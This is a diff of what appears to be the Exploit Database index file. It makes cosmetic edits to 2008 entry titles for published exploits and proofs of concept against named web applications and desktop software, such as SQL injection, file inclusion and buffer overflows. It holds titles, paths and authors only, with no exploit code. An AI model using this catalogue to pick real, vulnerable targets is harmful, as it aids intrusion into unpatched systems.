 6028,platforms/php/webapps/6028.txt,"BoonEx Ray 3.5 (sIncPath) Remote File Inclusion Vulnerability",2008-07-08,RoMaNcYxHaCkEr,php,webapps,0
-6029,platforms/multiple/dos/6029.txt,"Multiple Vendors Malicious SVG File Denial of Service PoC",2008-07-08,"Kristian Hermansen",multiple,dos,0
+6029,platforms/multiple/dos/6029.txt,"Multiple Vendors (Firefox/Evince/EOG/Gimp) - (.SVG) Denial of Service PoC",2008-07-08,"Kristian Hermansen",multiple,dos,0
 6030,platforms/windows/local/6030.py,"Download Accelerator Plus - DAP 8.x (m3u) Local BOF Exploit 0day",2008-07-08,h07,windows,local,0
-6031,platforms/windows/local/6031.asm,"OllyDBG v1.10 and ImpREC v1.7f (export name) BOF PoC",2008-07-08,Defsanguje,windows,local,0
+6031,platforms/windows/local/6031.asm,"OllyDBG 1.10 and ImpREC 1.7f - (export name) BOF PoC",2008-07-08,Defsanguje,windows,local,0
 6032,platforms/linux/local/6032.py,"Poppler <= 0.8.4 libpoppler uninitialized pointer Code Execution PoC",2008-07-08,"Felipe Andres Manzano",linux,local,0
 6033,platforms/php/webapps/6033.pl,"AuraCMS <= 2.2.2 (pages_data.php) Arbitrary Edit/Add/Delete Exploit",2008-07-09,k1tk4t,php,webapps,0
 6034,platforms/php/webapps/6034.txt,"Dreampics Builder (page) Remote SQL Injection Vulnerability",2008-07-09,"Hussin X",php,webapps,0
@@ -5703,7 +5703,7 @@ id,file,description,date,author,platform,type,port
 6088,platforms/php/webapps/6088.txt,"tplSoccerSite 1.0 Multiple Remote SQL Injection Vulnerabilities",2008-07-16,Mr.SQL,php,webapps,0
 6089,platforms/windows/remote/6089.pl,"Bea Weblogic Apache Connector Code Exec / Denial of Service Exploit",2008-07-17,Kingcope,windows,remote,80
 6090,platforms/windows/dos/6090.html,"PPMate PPMedia Class ActiveX Control Buffer Overflow PoC",2008-07-17,"Guido Landi",windows,dos,0
-6091,platforms/php/webapps/6091.txt,"phpHoo3 <= 5.2.6 (phpHoo3.php viewCat) SQL injection Vulnerability",2008-07-17,Mr.SQL,php,webapps,0
+6091,platforms/php/webapps/6091.txt,"phpHoo3 <= 5.2.6 - (phpHoo3.php viewCat) SQL injection Vulnerability",2008-07-17,Mr.SQL,php,webapps,0
 6092,platforms/php/webapps/6092.txt,"AlstraSoft Video Share Enterprise 4.5.1 (UID) SQL Injection Vulnerability",2008-07-17,"Hussin X",php,webapps,0
 6094,platforms/linux/remote/6094.txt,"Debian OpenSSH Remote SELinux Privilege Elevation Exploit (auth)",2008-07-17,eliteboy,linux,remote,0
 6095,platforms/php/webapps/6095.pl,"AlstraSoft Article Manager Pro 1.6 Blind SQL Injection Exploit",2008-07-17,GoLd_M,php,webapps,0
@@ -5729,7 +5729,7 @@ id,file,description,date,author,platform,type,port
 6115,platforms/php/webapps/6115.txt,"EZWebAlbum Insecure Cookie Handling Vulnerability",2008-07-21,"Virangar Security",php,webapps,0
 6116,platforms/windows/remote/6116.pl,"IntelliTamper 2.0.7 (html parser) Remote Buffer Overflow Exploit",2008-07-22,"Guido Landi",windows,remote,0
 6117,platforms/php/webapps/6117.txt,"YouTube Blog 0.1 (RFI/SQL/XSS) Multiple Remote Vulnerabilities",2008-07-22,Unohope,php,webapps,0
-6118,platforms/windows/remote/6118.pl,"IntelliTamper 2.07 (server header) Remote Code Execution  Exploit",2008-07-22,Koshi,windows,remote,0
+6118,platforms/windows/remote/6118.pl,"IntelliTamper 2.07 (server header) Remote Code Execution Exploit",2008-07-22,Koshi,windows,remote,0
 6119,platforms/asp/webapps/6119.txt,"Pre Survey Poll (default.asp catid) SQL Injection Vulnerability",2008-07-22,DreamTurk,asp,webapps,0
 6120,platforms/minix/dos/6120.txt,"minix 3.1.2a tty panic Local Denial of Service Vulnerability",2008-07-23,kokanin,minix,dos,0
 6121,platforms/windows/remote/6121.c,"IntelliTamper 2.0.7 (html parser) Remote Buffer Overflow Exploit (c)",2008-07-23,r0ut3r,windows,remote,0
@@ -5826,7 +5826,7 @@ id,file,description,date,author,platform,type,port
 6216,platforms/windows/dos/6216.html,"Download Accelerator Plus - DAP 8.6 (AniGIF.ocx) Buffer Overflow PoC",2008-08-10,"Guido Landi",windows,dos,0
 6217,platforms/windows/remote/6217.pl,"BlazeDVD 5.0 PLF Playlist File Remote Buffer Overflow Exploit",2008-08-10,LiquidWorm,windows,remote,0
 6218,platforms/multiple/dos/6218.txt,"Sun xVM VirtualBox < 1.6.4 Privilege Escalation Vulnerability PoC",2008-08-10,"Core Security",multiple,dos,0
-6219,platforms/php/webapps/6219.txt,"e107 <= 0.7.11 Arbitrary Variable Overwriting Vulnerability",2008-08-10,"GulfTech Security",php,webapps,0
+6219,platforms/php/webapps/6219.txt,"e107 <= 0.7.11 - Arbitrary Variable Overwriting Vulnerability",2008-08-10,"GulfTech Security",php,webapps,0
 6220,platforms/windows/remote/6220.html,"Cisco WebEx Meeting Manager (atucfobj.dll) ActiveX Remote BOF Exploit",2008-08-10,"Guido Landi",windows,remote,0
 6221,platforms/php/webapps/6221.txt,"Vacation Rental Script 3.0 (id) Remote SQL Injection Vulnerability",2008-08-10,CraCkEr,php,webapps,0
 6223,platforms/php/webapps/6223.php,"Quicksilver Forums 1.4.1 forums[] Remote SQL Injection Exploit",2008-08-10,irk4z,php,webapps,0
@@ -5856,9 +5856,9 @@ id,file,description,date,author,platform,type,port
 6252,platforms/multiple/dos/6252.txt,"VLC 0.8.6i tta File Parsing Heap Overflow PoC",2008-08-16,g_,multiple,dos,0
 6253,platforms/windows/dos/6253.txt,"EO Video 1.36 Local Heap Overflow DOS / PoC",2008-08-16,j0rgan,windows,dos,0
 6254,platforms/php/webapps/6254.txt,"XNova 0.8 sp1 (xnova_root_path) Remote File Inclusion Vulnerability",2008-08-17,NuclearHaxor,php,webapps,0
-6255,platforms/php/webapps/6255.txt,"phpArcadeScript v4 (cat) Remote SQL Injection Vulnerability",2008-08-17,"Hussin X",php,webapps,0
+6255,platforms/php/webapps/6255.txt,"phpArcadeScript 4 - (cat) Remote SQL Injection Vulnerability",2008-08-17,"Hussin X",php,webapps,0
 6256,platforms/windows/remote/6256.pl,"FlashGet 1.9.0.1012 (FTP PWD Response) BOF Exploit (safeseh)",2008-08-17,"Guido Landi",windows,remote,0
-6257,platforms/windows/dos/6257.pl,"WS_FTP Home/Professional FTP Client Remote Format String  PoC",2008-08-17,securfrog,windows,dos,0
+6257,platforms/windows/dos/6257.pl,"WS_FTP Home/Professional FTP Client Remote Format String PoC",2008-08-17,securfrog,windows,dos,0
 6258,platforms/php/webapps/6258.txt,"PHPBasket (product.php pro_id) SQL Injection Vulnerability",2008-08-17,r45c4l,php,webapps,0
 6259,platforms/php/webapps/6259.txt,"VidiScript (Avatar) Remote Arbitrary File Upload Vulnerability",2008-08-18,InjEctOr5,php,webapps,0
 6260,platforms/php/webapps/6260.txt,"cyberBB 0.6 Multiple Remote SQL Injection Vulnerabilities",2008-08-18,cOndemned,php,webapps,0
@@ -5871,7 +5871,7 @@ id,file,description,date,author,platform,type,port
 6276,platforms/php/webapps/6276.txt,"Banner Management Script (tr.php id) Remote SQL Injection Vulnerability",2008-08-19,S.W.A.T.,php,webapps,0
 6277,platforms/php/webapps/6277.txt,"Active PHP Bookmarks 1.1.02 Remote SQL Injection Vulnerability",2008-08-19,"Hussin X",php,webapps,0
 6278,platforms/windows/remote/6278.txt,"Anzio Web Print Object <= 3.2.30 ActiveX Buffer Overflow Exploit",2008-08-20,"Core Security",windows,remote,0
-6279,platforms/php/webapps/6279.pl,"Pars4U Videosharing V1 XSS / Remote Blind SQL Injection Exploit",2008-08-20,Mr.SQL,php,webapps,0
+6279,platforms/php/webapps/6279.pl,"Pars4U Videosharing 1.0 - XSS / Remote Blind SQL Injection Exploit",2008-08-20,Mr.SQL,php,webapps,0
 6280,platforms/php/webapps/6280.txt,"phpBazar 2.0.2 (adid) Remote SQL Injection Vulnerability",2008-08-20,e.wiZz!,php,webapps,0
 6281,platforms/php/webapps/6281.pl,"webEdition CMS (we_objectID) Blind SQL Injection Exploit",2008-08-20,Lidloses_Auge,php,webapps,0
 6284,platforms/php/webapps/6284.txt,"CustomCMS 4.0 (CCMS) print.php Remote SQL Injection Vulnerability",2008-08-21,~!Dok_tOR!~,php,webapps,0
@@ -5898,8 +5898,8 @@ id,file,description,date,author,platform,type,port
 6310,platforms/php/webapps/6310.txt,"Kolifa.net Download Script 1.2 (id) SQL Injection Vulnerability",2008-08-26,Kacak,php,webapps,0
 6311,platforms/php/webapps/6311.php,"Simple PHP Blog (SPHPBlog) <= 0.5.1 Code Execution Exploit",2008-08-26,mAXzA,php,webapps,0
 6312,platforms/php/webapps/6312.txt,"K-Rate (SQL/XSS) Multiple Remote Vulnerabilities",2008-08-26,Corwin,php,webapps,0
-6313,platforms/php/webapps/6313.txt,"CMME 1.12 (LFI/XSS/CSRF/Backup/MkDir) Multiple  Vulnerabilities",2008-08-26,SirGod,php,webapps,0
-6314,platforms/php/webapps/6314.txt,"Thickbox Gallery v2 (admins.php) Admin Data Disclosure Vulnerability",2008-08-26,SirGod,php,webapps,0
+6313,platforms/php/webapps/6313.txt,"CMME 1.12 (LFI/XSS/CSRF/Backup/MkDir) Multiple Vulnerabilities",2008-08-26,SirGod,php,webapps,0
+6314,platforms/php/webapps/6314.txt,"Thickbox Gallery 2.0 - (admins.php) Admin Data Disclosure Vulnerability",2008-08-26,SirGod,php,webapps,0
 6315,platforms/php/webapps/6315.txt,"iFdate <= 2.0.3 Remote SQL Injection Vulnerability",2008-08-26,~!Dok_tOR!~,php,webapps,0
 6316,platforms/php/webapps/6316.php,"MyBulletinBoard (MyBB) <= 1.2.11 private.php SQL Injection Exploit (2)",2008-08-26,c411k,php,webapps,0
 6317,platforms/windows/remote/6317.html,"Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote BOF Exploit",2008-08-26,Koshi,windows,remote,0
@@ -5934,9 +5934,9 @@ id,file,description,date,author,platform,type,port
 6348,platforms/php/webapps/6348.txt,"Coupon Script 4.0 (id) Remote SQL Injection Vulnerability",2008-09-02,"Hussin X",php,webapps,0
 6349,platforms/php/webapps/6349.txt,"Reciprocal Links Manager 1.1 (site) SQL Injection Vulnerability",2008-09-02,"Hussin X",php,webapps,0
 6350,platforms/php/webapps/6350.txt,"AJ HYIP ACME (comment.php artid) SQL Injection Vulnerability",2008-09-02,"security fears team",php,webapps,0
-6351,platforms/php/webapps/6351.txt,"AJ HYIP ACME (readarticle.php artid)  SQL Injection Vulnerability",2008-09-02,InjEctOr5,php,webapps,0
+6351,platforms/php/webapps/6351.txt,"AJ HYIP ACME (readarticle.php artid) SQL Injection Vulnerability",2008-09-02,InjEctOr5,php,webapps,0
 6352,platforms/php/webapps/6352.txt,"CS-Cart <= 1.3.5 (Auth Bypass) SQL Injection Vulnerability",2008-09-02,"GulfTech Security",php,webapps,0
-6353,platforms/windows/dos/6353.txt,"Google Chrome Browser 0.2.149.27 malicious link DoS Vulnerability",2008-09-03,"Rishi Narang",windows,dos,0
+6353,platforms/windows/dos/6353.txt,"Google Chrome Browser 0.2.149.27 - DoS Vulnerability",2008-09-03,"Rishi Narang",windows,dos,0
 6354,platforms/php/webapps/6354.txt,"Spice Classifieds (cat_path) Remote SQL Injection Vulnerability",2008-09-03,InjEctOr5,php,webapps,0
 6355,platforms/windows/remote/6355.txt,"Google Chrome Browser 0.2.149.27 Automatic File Download Exploit",2008-09-03,nerex,windows,remote,0
 6356,platforms/php/webapps/6356.php,"Moodle <= 1.8.4 Remote Code Execution Exploit",2008-09-03,zurlich.lpt,php,webapps,0
@@ -6032,7 +6032,7 @@ id,file,description,date,author,platform,type,port
 6456,platforms/php/webapps/6456.txt,"Free PHP VX Guestbook 1.06 Arbitrary Database Backup Vulnerability",2008-09-13,SirGod,php,webapps,0
 6457,platforms/php/webapps/6457.txt,"Free PHP VX Guestbook 1.06 Insecure Cookie Handling Vulnerability",2008-09-14,Stack,php,webapps,0
 6458,platforms/windows/dos/6458.c,"The Personal FTP Server 6.0f RETR Denial of Service Exploit",2008-09-14,Shinnok,windows,dos,0
-6459,platforms/hardware/dos/6459.txt,"Nokia e90/n82 (s60v3) Remote Denial of Service Vulnerability",2008-09-14,wins.mallow,hardware,dos,0
+6459,platforms/hardware/dos/6459.txt,"Nokia e90/n82 (s60v3) - Remote Denial of Service Vulnerability",2008-09-14,wins.mallow,hardware,dos,0
 6460,platforms/php/webapps/6460.txt,"Kasseler CMS 1.1.0/1.2.0 Lite Remote SQL Injection Vulnerabilities",2008-09-14,~!Dok_tOR!~,php,webapps,0
 6461,platforms/php/webapps/6461.txt,"Cpanel <= 11.x (Fantastico) LFI Vulnerability (sec bypass)",2008-09-14,joker_1,php,webapps,0
 6462,platforms/php/webapps/6462.pl,"CzarNews <= 1.20 (Cookie) Remote SQL Injection Exploit",2008-09-15,StAkeR,php,webapps,0
@@ -6061,7 +6061,7 @@ id,file,description,date,author,platform,type,port
 6487,platforms/php/webapps/6487.txt,"CYASK 3.x (collect.php neturl) Local File Disclosure Vulnerability",2008-09-18,xy7,php,webapps,0
 6488,platforms/php/webapps/6488.txt,"Diesel Joke Site (picture_category.php id) SQL Injection Vulnerability",2008-09-18,sarbot511,php,webapps,0
 6489,platforms/php/webapps/6489.txt,"ProActive CMS (template) Local File Inclusion Vulnerability",2008-09-18,r45c4l,php,webapps,0
-6490,platforms/php/webapps/6490.txt,"AssetMan v2.5-b SQL Injection using Session Fixation Attack",2008-09-18,"Neo Anderson",php,webapps,0
+6490,platforms/php/webapps/6490.txt,"AssetMan 2.5-b - SQL Injection using Session Fixation Attack",2008-09-18,"Neo Anderson",php,webapps,0
 6491,platforms/windows/remote/6491.html,"NuMedia Soft NMS DVD Burning SDK Activex (NMSDVDX.dll) Exploit",2008-09-19,Nine:Situations:Group,windows,remote,0
 6492,platforms/php/webapps/6492.php,"Pluck 4.5.3 (update.php) Remote File Corruption Exploit",2008-09-19,Nine:Situations:Group,php,webapps,0
 6493,platforms/linux/dos/6493.pl,"fhttpd 0.4.2 un64() Remote Denial of Service Exploit",2008-09-19,"Jeremy Brown",linux,dos,0
@@ -6077,7 +6077,7 @@ id,file,description,date,author,platform,type,port
 6503,platforms/php/webapps/6503.txt,"Plaincart 1.1.2 (p) Remote SQL Injection Vulnerability",2008-09-20,r45c4l,php,webapps,0
 6504,platforms/php/webapps/6504.txt,"Oceandir <= 2.9 (show_vote.php id) Remote SQL Injection Vulnerability",2008-09-20,"JEEN HACKER TEAM",php,webapps,0
 6505,platforms/php/webapps/6505.txt,"jPORTAL 2 (humor.php id) Remote SQL Injection Vulnerability",2008-09-20,r45c4l,php,webapps,0
-6506,platforms/windows/remote/6506.txt,"Unreal Tournament 3 v1.3 Remote Directory Traversal Vulnerability",2008-09-21,"Luigi Auriemma",windows,remote,0
+6506,platforms/windows/remote/6506.txt,"Unreal Tournament 3 1.3 - Remote Directory Traversal Vulnerability",2008-09-21,"Luigi Auriemma",windows,remote,0
 6507,platforms/php/webapps/6507.php,"Invision Power Board <= 2.3.5 Remote SQL Injection Exploit",2008-09-21,waraxe,php,webapps,0
 6508,platforms/php/webapps/6508.txt,"Basic PHP Events Lister 1.0 Remote SQL Injection Vulnerability",2008-09-21,0x90,php,webapps,0
 6509,platforms/cgi/webapps/6509.txt,"TWiki <= 4.2.2 (action) Remote Code Execution Vulnerability",2008-09-21,webDEViL,cgi,webapps,0
@@ -6101,7 +6101,7 @@ id,file,description,date,author,platform,type,port
 6527,platforms/php/webapps/6527.txt,"BuzzyWall <= 1.3.1 (search.php search) SQL Injection Vulnerability",2008-09-22,~!Dok_tOR!~,php,webapps,0
 6528,platforms/php/webapps/6528.txt,"WCMS 1.0b (news_detail.asp id) Remote SQL Injection Vulnerability",2008-09-22,"CWH Underground",php,webapps,0
 6529,platforms/php/webapps/6529.php,"WSN Links Free 4.0.34P (comments.php) Blind SQL Injection Exploit",2008-09-22,Stack,php,webapps,0
-6530,platforms/php/webapps/6530.txt,"OpenElec <= v3.01 (form.php obj) Local File Inclusion Vulnerability",2008-09-22,dun,php,webapps,0
+6530,platforms/php/webapps/6530.txt,"OpenElec <= 3.01- (form.php obj) Local File Inclusion Vulnerability",2008-09-22,dun,php,webapps,0
 6531,platforms/php/webapps/6531.txt,"MyBlog <= 0.9.8 Insecure Cookie Handling Vulnerability",2008-09-22,Pepelux,php,webapps,0
 6532,platforms/hardware/remote/6532.py,"Sagem Routers F@ST Remote CSRF Exploit (dhcp hostname attack)",2008-09-22,Zigma,hardware,remote,0
 6533,platforms/php/webapps/6533.txt,"basebuilder <= 2.0.1 (main.inc.php) Remote File Inclusion Vulnerability",2008-09-22,dun,php,webapps,0
@@ -6211,7 +6211,7 @@ id,file,description,date,author,platform,type,port
 6640,platforms/php/webapps/6640.pl,"ADN Forum <= 1.0b Blind SQL Injection Exploit",2008-10-01,StAkeR,php,webapps,0
 6641,platforms/php/webapps/6641.txt,"MySQL Quick Admin <= 1.5.5 (COOKIE) Local File Inclusion Vulnerability",2008-10-01,JosS,php,webapps,0
 6642,platforms/php/webapps/6642.txt,"BMForum 5.6 (tagname) Remote SQL Injection Vulnerability",2008-10-01,~!Dok_tOR!~,php,webapps,0
-6643,platforms/php/webapps/6643.txt,"Discussion Forums 2k v3.3 Multiple SQL Injection Vulnerabilities",2008-10-01,~!Dok_tOR!~,php,webapps,0
+6643,platforms/php/webapps/6643.txt,"Discussion Forums 2k 3.3 - Multiple SQL Injection Vulnerabilities",2008-10-01,~!Dok_tOR!~,php,webapps,0
 6644,platforms/php/webapps/6644.txt,"Noname CMS 1.0 Multiple SQL Injection Vulnerabilities",2008-10-01,~!Dok_tOR!~,php,webapps,0
 6645,platforms/php/webapps/6645.txt,"Crux Gallery <= 1.32 (index.php theme) Local File Inclusion Vulnerability",2008-10-01,StAkeR,php,webapps,0
 6646,platforms/php/webapps/6646.php,"phpScheduleIt <= 1.2.10 (reserve.php) Remote Code Execution Exploit",2008-10-01,EgiX,php,webapps,0
@@ -6251,7 +6251,7 @@ id,file,description,date,author,platform,type,port
 6681,platforms/php/webapps/6681.txt,"PHP-Fusion Mod manuals (manual) Remote SQL Injection Vulnerability",2008-10-05,boom3rang,php,webapps,0
 6682,platforms/php/webapps/6682.txt,"PHP-Fusion Mod raidtracker_panel (INFO_RAID_ID) SQL Injection",2008-10-05,boom3rang,php,webapps,0
 6683,platforms/php/webapps/6683.txt,"PHP-Fusion Mod recept (kat_id) SQL Injection Vulnerability",2008-10-05,boom3rang,php,webapps,0
-6684,platforms/php/webapps/6684.txt,"PHP-Fusion Mod triscoop_race_system (raceid)  SQL Injection Vuln",2008-10-05,boom3rang,php,webapps,0
+6684,platforms/php/webapps/6684.txt,"PHP-Fusion Mod triscoop_race_system (raceid) SQL Injection Vuln",2008-10-05,boom3rang,php,webapps,0
 6685,platforms/php/webapps/6685.txt,"asiCMS alpha 0.208 Multiple Remote File Inclusion Vulnerabilities",2008-10-06,NoGe,php,webapps,0
 6686,platforms/windows/remote/6686.txt,"Hammer Software MetaGauge 1.0.0.17 Directory Traversal Vulnerability",2008-10-06,"Brad Antoniewicz",windows,remote,0
 6687,platforms/php/webapps/6687.pl,"Yerba SACphp <= 6.3 (mod) Local File Inclusion Exploit",2008-10-06,Pepelux,php,webapps,0
@@ -6295,14 +6295,14 @@ id,file,description,date,author,platform,type,port
 6726,platforms/hardware/dos/6726.txt,"Nokia Mini Map Browser (array sort) Silent Crash Vulnerability",2008-10-10,ikki,hardware,dos,0
 6728,platforms/php/webapps/6728.txt,"Easynet4u Link Host (cat_id) SQL Injection Vulnerability",2008-10-10,BeyazKurt,php,webapps,0
 6729,platforms/php/webapps/6729.php,"SlimCMS <= 1.0.0 (redirect.php) Privilege Escalation Exploit",2008-10-10,StAkeR,php,webapps,0
-6730,platforms/php/webapps/6730.txt,"Joomla Component ownbiblio 1.5.3 (catid)  SQL Injection Vulnerability",2008-10-11,H!tm@N,php,webapps,0
+6730,platforms/php/webapps/6730.txt,"Joomla Component ownbiblio 1.5.3 (catid) SQL Injection Vulnerability",2008-10-11,H!tm@N,php,webapps,0
 6731,platforms/asp/webapps/6731.txt,"Absolute Poll Manager XE 4.1 (xlacomments.asp) SQL Injection Vuln",2008-10-11,Hakxer,asp,webapps,0
 6732,platforms/windows/dos/6732.txt,"MS Windows InternalOpenColorProfile Heap Overflow PoC (MS08-046)",2008-10-12,Ac!dDrop,windows,dos,0
 6733,platforms/php/webapps/6733.txt,"mini-pub 0.3 (LFD/CE) Multiple Remote Vulnerabilities",2008-10-12,muuratsalo,php,webapps,0
 6734,platforms/php/webapps/6734.txt,"mini-pub 0.3 Local Directory Traversal / File Disclosure Vulnerabilities",2008-10-12,GoLd_M,php,webapps,0
 6735,platforms/php/webapps/6735.php,"Globsy <= 1.0 Remote File Rewriting Exploit",2008-10-12,StAkeR,php,webapps,0
 6736,platforms/php/webapps/6736.txt,"Real Estate Scripts 2008 (index.php cat) SQL Injection Vulnerability",2008-10-12,Hakxer,php,webapps,0
-6737,platforms/php/webapps/6737.txt,"LokiCMS <= 0.3.4 (index.php page) Arbitrary Check  File Exploit",2008-10-12,JosS,php,webapps,0
+6737,platforms/php/webapps/6737.txt,"LokiCMS <= 0.3.4 (index.php page) Arbitrary Check File Exploit",2008-10-12,JosS,php,webapps,0
 6738,platforms/windows/dos/6738.py,"GuildFTPd 0.999.8.11/0.999.14 Heap Corruption PoC/DoS Exploit",2008-10-12,dmnt,windows,dos,0
 6739,platforms/php/webapps/6739.txt,"NewLife Blogger <= 3.0 Insecure Cookie Handling / SQL Injection Vuln",2008-10-12,Pepelux,php,webapps,0
 6740,platforms/php/webapps/6740.txt,"My PHP Indexer 1.0 (index.php) Local File Download Vulnerability",2008-10-12,JosS,php,webapps,0
@@ -6356,7 +6356,7 @@ id,file,description,date,author,platform,type,port
 6788,platforms/php/webapps/6788.txt,"yappa-ng <= 2.3.3-beta0 (album) Local File Inclusion Vulnerability",2008-10-19,Vrs-hCk,php,webapps,0
 6789,platforms/php/webapps/6789.pl,"Vivvo CMS <= 3.4 Multiple Vulnerabilities Destroyer Exploit",2008-10-19,Xianur0,php,webapps,0
 6790,platforms/php/webapps/6790.py,"WBB Plugin rGallery 1.09 (itemID) Blind SQL Injection Exploit",2008-10-20,Five-Three-Nine,php,webapps,0
-6791,platforms/php/webapps/6791.pl,"e107 <= 0.7.13 (usersettings.php) Blind SQL Injection Exploit",2008-10-19,girex,php,webapps,0
+6791,platforms/php/webapps/6791.pl,"e107 <= 0.7.13 - (usersettings.php) Blind SQL Injection Exploit",2008-10-19,girex,php,webapps,0
 6792,platforms/php/webapps/6792.txt,"Joomla Component ds-syndicate (feed_id) SQL Injection Vulnerability",2008-10-20,boom3rang,php,webapps,0
 6793,platforms/windows/remote/6793.html,"Dart Communications PowerTCP FTP module Remote BOF Exploit",2008-10-20,InTeL,windows,remote,0
 6795,platforms/php/webapps/6795.txt,"XOOPS Module makale Remote SQL Injection Vulnerability",2008-10-20,EcHoLL,php,webapps,0
@@ -6411,7 +6411,7 @@ id,file,description,date,author,platform,type,port
 6845,platforms/cgi/webapps/6845.txt,"Ads Pro (dhtml.pl page) Remote Command Execution Exploit",2008-10-26,S0l1D,cgi,webapps,0
 6846,platforms/php/webapps/6846.txt,"MyForum 1.3 (padmin) Local File Inclusion Vulnerability",2008-10-27,Vrs-hCk,php,webapps,0
 6847,platforms/php/webapps/6847.txt,"Persia BME E-Catalogue Remote SQL Injection Vulnerability",2008-10-27,BugReport.IR,php,webapps,0
-6848,platforms/php/webapps/6848.txt,"TlAds v1 Remote Insecure Cookie Handling Vulnerability",2008-10-27,x0r,php,webapps,0
+6848,platforms/php/webapps/6848.txt,"TlAds 1.0 - Remote Insecure Cookie Handling Vulnerability",2008-10-27,x0r,php,webapps,0
 6849,platforms/php/webapps/6849.txt,"e107 Plugin alternate_profiles (id) SQL Injection Vulnerability",2008-10-27,boom3rang,php,webapps,0
 6850,platforms/php/webapps/6850.txt,"MyKtools 2.4 (langage) Local File Inclusion Vulnerability",2008-10-27,x0r,php,webapps,0
 6851,platforms/linux/local/6851.c,"Linux Kernel < 2.6.22 ftruncate()/open() Local Exploit",2008-10-27,gat3way,linux,local,0
@@ -6428,7 +6428,7 @@ id,file,description,date,author,platform,type,port
 6862,platforms/php/webapps/6862.txt,"H2O-CMS <= 3.4 Insecure Cookie Handling Vulnerability",2008-10-29,Stack,php,webapps,0
 6863,platforms/windows/dos/6863.pl,"PacketTrap TFTPD 2.2.5459.0 Remote Denial of Service Exploit",2008-10-29,"Jeremy Brown",windows,dos,0
 6864,platforms/cgi/webapps/6864.txt,"Sepal SPBOARD 4.5 (board.cgi) Remote Command Exec Vulnerability",2008-10-29,GoLd_M,cgi,webapps,0
-6865,platforms/php/webapps/6865.txt,"e107 Plugin fm pro v1 (FD/Upload/DT) Multiple Remote Vulnerabilities",2008-10-29,GoLd_M,php,webapps,0
+6865,platforms/php/webapps/6865.txt,"e107 Plugin FM Pro 1- (FD/Upload/DT) Multiple Remote Vulnerabilities",2008-10-29,GoLd_M,php,webapps,0
 6866,platforms/php/webapps/6866.pl,"7Shop <= 1.1 Remote Arbitrary File Upload Exploit",2008-10-29,t0pP8uZz,php,webapps,0
 6867,platforms/php/webapps/6867.pl,"Wordpress Plugin e-Commerce <= 3.4 Arbitrary File Upload Exploit",2008-10-29,t0pP8uZz,php,webapps,0
 6868,platforms/php/webapps/6868.pl,"Mambo Component SimpleBoard <= 1.0.1 Arbitrary File Upload Exploit",2008-10-29,t0pP8uZz,php,webapps,0
@@ -6484,7 +6484,7 @@ id,file,description,date,author,platform,type,port
 6919,platforms/php/webapps/6919.txt,"SFS EZ Career (content.php topic) SQL Injection Vulnerability",2008-10-31,Stack,php,webapps,0
 6920,platforms/php/webapps/6920.txt,"SFS EZ Top Sites (topsite.php ts) Remote SQL Injection Vulnerability",2008-10-31,Stack,php,webapps,0
 6921,platforms/windows/remote/6921.rb,"GE Fanuc Real Time Information Portal 2.6 writeFile() API Exploit (meta)",2008-11-01,"Kevin Finisterre",windows,remote,0
-6922,platforms/php/webapps/6922.txt,"SFS EZ  Webstore (where) Remote SQL Injection Vulnerability",2008-11-01,ZoRLu,php,webapps,0
+6922,platforms/php/webapps/6922.txt,"SFS EZ Webstore (where) Remote SQL Injection Vulnerability",2008-11-01,ZoRLu,php,webapps,0
 6923,platforms/php/webapps/6923.txt,"SFS EZ Pub Site (directory.php cat) SQL Injection Vulnerability",2008-11-01,Hakxer,php,webapps,0
 6924,platforms/php/webapps/6924.txt,"SFS EZ Gaming Cheats (id) Remote SQL Injection vulnerability",2008-11-01,ZoRLu,php,webapps,0
 6925,platforms/php/webapps/6925.txt,"Bloggie Lite 0.0.2 Beta SQL Injection by Insecure Cookie Handling",2008-11-01,JosS,php,webapps,0
@@ -6522,7 +6522,7 @@ id,file,description,date,author,platform,type,port
 6957,platforms/php/webapps/6957.txt,"NetRisk <= 2.0 (XSS/SQL Injection) Remote Vulnerabilities",2008-11-02,StAkeR,php,webapps,0
 6958,platforms/php/webapps/6958.txt,"Maran PHP Shop (prodshow.php) SQL Injection Vulnerability",2008-11-02,d3v1l,php,webapps,0
 6960,platforms/php/webapps/6960.txt,"1st News (products.php id) Remote SQL Injection Vulnerability",2008-11-02,TR-ShaRk,php,webapps,0
-6961,platforms/php/webapps/6961.pl,"deV!Lz Clanportal [DZCP]  <= 1.4.9.6 Blind SQL Injection Exploit",2008-11-02,n/a,php,webapps,0
+6961,platforms/php/webapps/6961.pl,"deV!Lz Clanportal [DZCP] <= 1.4.9.6 Blind SQL Injection Exploit",2008-11-02,n/a,php,webapps,0
 6962,platforms/php/webapps/6962.txt,"BosDev BosClassifieds (cat_id) SQL Injection Vulnerability",2008-11-03,ZoRLu,php,webapps,0
 6963,platforms/windows/remote/6963.html,"Chilkat Crypt Activex Arbitrary File Creation/Execution PoC",2008-11-03,shinnai,windows,remote,0
 6964,platforms/php/webapps/6964.txt,"Acc Real Estate 4.0 Insecure Cookie Handling Vulnerability",2008-11-03,Hakxer,php,webapps,0
@@ -6548,7 +6548,7 @@ id,file,description,date,author,platform,type,port
 6985,platforms/php/webapps/6985.txt,"WEBBDOMAIN Quiz <= 1.02 (Auth Bypass) SQL Injection Vulnerability",2008-11-04,Hakxer,php,webapps,0
 6986,platforms/php/webapps/6986.txt,"WEBBDOMAIN Webshop <= 1.02 (SQL Injection) Auth Bypass Vuln",2008-11-04,Hakxer,php,webapps,0
 6987,platforms/php/webapps/6987.txt,"Simple Document Management System 1.1.4 SQL Injection Auth Bypass",2008-11-04,Yuri,php,webapps,0
-6988,platforms/php/webapps/6988.txt,"Tours Manager v1 (cityview.php cityid) SQL Injection Vulnerability",2008-11-04,G4N0K,php,webapps,0
+6988,platforms/php/webapps/6988.txt,"Tours Manager 1.0 - (cityview.php cityid) SQL Injection Vulnerability",2008-11-04,G4N0K,php,webapps,0
 6989,platforms/php/webapps/6989.txt,"WEBBDOMAIN Post Card <= 1.02 (SQL Injection) Auth Bypass Vuln",2008-11-04,x0r,php,webapps,0
 6990,platforms/php/webapps/6990.txt,"nicLOR Sito includefile Local File Inclusion Vulnerabilities",2008-11-04,StAkeR,php,webapps,0
 6991,platforms/php/webapps/6991.txt,"TR News <= 2.1 (login.php) Remote Login Bypass Exploit",2008-11-04,StAkeR,php,webapps,0
@@ -6611,7 +6611,7 @@ id,file,description,date,author,platform,type,port
 7050,platforms/php/webapps/7050.txt,"E-topbiz Number Links 1 (id) Remote SQL Injection Vulnerability",2008-11-07,"Hussin X",php,webapps,0
